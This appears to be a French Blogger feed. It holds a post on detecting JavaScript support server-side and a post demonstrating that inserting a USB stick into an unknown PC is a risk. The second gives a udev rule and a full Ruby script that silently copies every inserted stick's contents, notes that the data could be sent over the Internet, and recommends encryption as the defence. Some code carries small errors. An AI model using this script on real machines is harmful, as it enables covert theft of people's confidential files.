C:\WINDOWS\system32> owned again through NAT :)</pre>ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com6tag:blogger.com,1999:blog-7133158144968101578.post-47884705456726731312009-10-25T06:20:00.000-07:002013-05-14T00:36:40.472-07:00Détecter la présence du support du javascriptIl est parfois nécessaire de savoir si le navigateur qui va télécharger notre page gère ou non le javascript. Il y a la balise HTML <em><noscript></em> qui permet d'exécuter un code particulier au cas où le navigateur ne supporterait pas le langage de script, mais ce code est exécuté coté client, et donc on a aucune information coté serveur. L'idée est de forcer le navigateur à faire une requête <a href="http://en.wikipedia.org/wiki/HTTP">HTTP</a> différente s'il supporte le javascript ou s'il ne le supporte pas. En fonction de la requête que l'on reçoit, on pourra adapter le contenu de notre site. Pour faire une requête automatique en HTML (sans utiliser le javascript), il faut utiliser cette requête : <pre class='brush:html;'><meta http-equiv="refresh" content="2,ma_page.php?js=0">
</pre>Cette requête dit que dans <span style="color: red;">2</span> secondes, il faudra charger la page <em>ma_page.php?js=0</em>. Pour faire une requête automatique en Javascript, il faut utiliser cette requête : <pre class="brush:jscript">window.location = "ma_page.php?js=1"
</pre>Au final, en envoyant la page html suivante au navigateur, on peut détecter si le navigateur supporte ou non le langage de script. <pre class="brush:html"><html>
<head>
<meta http-equiv="refresh" content="2,ma_page.php?js=0">
</head>
<body>
<script type="text/javascript">
windows.location = "ma_page.php?js=1";
</script>
</body>
</html>
</pre>S'il ne le supporte pas, le code javascript ne sera pas exécuté et donc 2 secondes après le chargement de la page, une requête sera faite sur <em>ma_page.php</em> avec un paramètre <em>js</em> à 0. S'il le supporte, le code javascript sera directement exécuté avec en conséquence un appel à la page <em>ma_page.php</em> avec un paramètre <em>js</em> à 1, sans que la redirection HTML ait le temps de se faire. Cette méthode peut être fort utile pour éviter d'envoyer un code javascript qui ne sera de toute façon pas exécuté... ;)ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com0tag:blogger.com,1999:blog-7133158144968101578.post-83744555496906063202009-10-13T09:41:00.000-07:002013-05-14T00:36:30.766-07:00Danger pour les clés usbOn parle beaucoup du risque des clefs USB pour les PC car c'est un excellent vecteur d'infection (utilisé par <a href="http://fr.wikipedia.org/wiki/Conficker">conficker</a> par exemple), mais on parle beaucoup moins du risque de perte de confidentialité dû à l'insertion d'une clef USB dans un PC inconnu. Ce risque est pourtant important comme je vais le montrer ici.<br />
<br />
L'objectif ici est de copier le contenu de la clef USB (dump) sur le PC dans laquelle elle est insérée et tout ceci à l'insu de son utilisateur. Pour cela je vais utiliser une machine tournant sous Linux, mais il existe bien entendu des équivalents sous Windows.<br />
<br />
Sous Linux, le gestionnaire de périphériques depuis le noyau 2.6 s'appelle <a href="http://en.wikipedia.org/wiki/Udev">udev</a>. Il permet de gérer les différents périphériques du répertoire <em>/dev</em>, et de notamment permettre l'exécution d'une commande lors de l'insertion d'un de ces périphériques. C'est exactement ce dont nous avons besoin : exécuter un programme qui copiera le contenu de la clef USB lors de son insertion.<br />
<br />
Udev se configure à l'aide de règles que l'on peut trouver dans le répertoire <em>/etc/udev/rules.d</em> et dans le répertoire <em>/lib/udev/rules.d</em>. On commence par créer un nouveau fichier, que l'on va appeler <em>90_usbdump.rules</em>. Les fichiers sont lus en commençant d'abord par le plus petit chiffre, puis le plus grand. En commençant par 90 on s'assure dans notre exemple que notre fichier sera lu en dernier.<br />
<br />
Voilà le contenu de ce fichier :<br />
<pre class="brush:bash">ACTION=="add", KERNEL=="sd*", RUN+="/root/bin/usb_dumper.rb"</pre><br />
La syntaxe des fichiers rules peut se trouver <a href="http://reactivated.net/writing_udev_rules.html">ici</a>. La règle de ce fichier veut dire, que si c'est une action d'ajout <span style="text-decoration: underline;">et</span> qu'il y a création d'un device de type sd (sda, sdb, sdc, sda1...), alors on va exécuter le programme suivant <em>/root/bin/usb_dumper.rb</em>. De manière générale, le signe "==" entraîne une condition et le signe "+=" entraîne une réaction qui devra être réalisée si toutes les conditions précédentes sont respectées.<br />
<br />
Voilà tout est fait, il ne reste plus qu'à coder le programme <em>usb_dumper.rb</em> qui se chargera de copier le contenu de la clef USB.<br />
J'ai choisi de faire ce programme en <a href="http://fr.wikipedia.org/wiki/Ruby">ruby</a> (d'où l'extension rb), pour apprendre ce langage qui est nouveau pour moi.<br />
<br />
Lors de l'exécution du programme spécifié dans le paramètre <em>RUN</em>, de nombreuses variables d'environnement sont créées qui vont nous permettre d'obtenir les informations nécessaires à la réalisation de notre programme. Le programme suivant permet de récupérer toutes ces variables (il faut changer la commande <em>RUN</em> pour exécuter ce programme) :<br />
<br />
<pre class="brush:ruby">#!/usr/bin/env ruby
file = File.new("/root/tmp/log", "a+"):
ENV.each {|k,v| file.puts "#{k}:#{v}"}
file.close();</pre><br />
Le résultat après insertion de la clef usb permet de donner quelques informations importantes comme le type d'action qu'il y a eu (insertion, extraction...), le device responsable (<em>/dev/sdb</em> par exemple), le bus utilisé... Ces informations vont permettre à notre programme de savoir où chercher la clef et aussi de faire différentes actions en fonction du port usb physique utilisé par exemple.<br />
<br />
Le code source de <em>usb_dumpe.rb</em> est fourni commenté.<br />
<pre class="brush:ruby">#!/usr/bin/env ruby
require 'fileutils'
# Fichier de log pour savoir ce qui c'est passé
log_file_name = "/root/usb_dump/log"
max_try = 10
# Répertoire de destination du dump de la clef
dest = "/root/usb_dump"
# Si la clef est insérée sur le port physique numéro 1, on ne la dump pas
exclude_usb_port = "1"
# Si la clef est insérée sur le port physique numéro 4, on fait un dump rapide
fast_usb_port = "4"
# Taille max des fichiers a recuperer lors d'un dump rapide
max_size = 5000000
# Temps maximum que l'on s'autorise lors d'un dump rapide
max_time = 60
# Recuperation du device cree (de type /dev/sdb)
device = ENV['DEVNAME']
log_file = File.new(log_file_name, "a+")
# La variable d'environnement ID_PATH nous permet de savoir sur quel port physique on est
if ENV['ID_PATH'].grep(/usb-0:#{exclude_usb_port}:/).length != 0
log_file.puts "#{ENV['ID_SERIAL']} ignore car present sur un port exclu\n\n"
exit(0)
end
try = 1
log_file.puts "Lancement usb_dump.rb sur #{device}\n"
# Notre programme est appelé avant que la clef soit montée... on attend donc
while `mount`.grep(/#{device}/).length == 0 and try <= max_try
sleep(1)
try += 1
end
if try > max_try
log_file.puts "USB non monte\n"
exit(1)
end
# On récupère le répertoire sur lequel la clef est montée
mount_point = `mount`.grep(/#{device}/")[0].gsub(/.*on (.+) type.*$/,'\1').chomp
log_file.puts "Mount Point : #{mount_point}\n"
# Creation du repertoire de stockage
log_file.puts "###### #{ENV['ID_SERIAL']} #{ENV['ID_PATH']} ######\n"
dest += "/" + ENV['ID_SERIAL'] + "_" + Time.now.strftime('%Y%m%d_%H%M')
FileUtils.mkdir(dest)
log_file.puts "Creation de #{dest}...\n"
# On prend le temps de démarrage au cas où on devrait respecter une durée maximale
start_time = Time.now
# On parcourt recursivement la clef
Dir[mount_point + "/**/*"].each do |f|
# Si on est sur le port physique qui demande de la rapidité, on vérifie qu'on a pas dépassé le temps maximum
if ENV['ID_PATH'].grep(/usb-0:#{fast_usb_port}:/).length != 0
current_time = Time.now
log_file.puts "Temps : #{current_time - start_time} #{current_time - start_time >= max_time}\n"
if current_time - start_time >= max_time
log_file.puts "Stop car depassement du temps\n\n"
exit(0)
end
end
log_file.puts "#{f}"
dst = dest + f[mount_point.length,f.length]
if File.directory?(f)
FileUtils.mkdir(dst)
log_file.puts "Creation de #{dst}...\n"
elsif File.file?(f)
# Si on est sur le port physique qui demande de la rapidité, on ne copie pas les gros fichiers
if ENV['ID_PATH'].grep(/usb-0:#{fast_usb_port}:/).length != 0 and File.size(f) > max_size
file_size = File.size(f)
log_file.puts "Fichier #{f} trop volumineux : #{file_size}\n"
else
FileUtils.copy_file(f,dst)
log_file.puts "Copie de #{f} vers #{dst}...\n"
end
end
end
log_file.puts "\n\n"
log_file.close()</pre><br />
Comme on peut le voir, en quelques lignes de codes on peut très facilement mettre en place un système qui aspirera le contenu d'une clef USB de façon complètement transparente pour l'utilisateur.<br />
Le script fait la distinction entre 3 catégories de port USB. Un port qui n'aspirera pas le contenu de la clef (utile pour ne pas se faire aspirer sa propre clef), un port qui aspirera le contenu des clefs en se limitant aux fichiers inférieurs à une certaine taille et limité dans le temps (dans le cas où on ne peut pas se permettre de garder la clef trop longtemps) et tous les autres ports feront une copie de tout le contenu de la clef.<br />
<br />
Il est bien entendu possible d'adapter ce script, pour par exemple limiter la copie à certains types de fichiers, envoyer le contenu directement sur Internet...<br />
<br />
Il est donc impératif de faire très attention quand on branche sa clef USB sur une machine inconnue, sous peine de voir le contenu de notre clef dupliqué sur l'ordinateur (voire carrément transféré directement sur Internet). La seule parade à cela reste de chiffrer l'ensemble de nos fichiers confidentiels, par l'intermédiaire de <a href="http://www.truecrypt.org/">truecrypt</a> par exemple.<br />
<br />
<strong>Update :</strong><br />
Equivalents Windows : <a href="http://www.secuobs.com/news/11122006-usbdumper2.shtml">USBDumper</a> et <a href="http://blog.didierstevens.com/programs/usbvirusscan/">USBVirusScan</a> (Merci Rémy).ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com2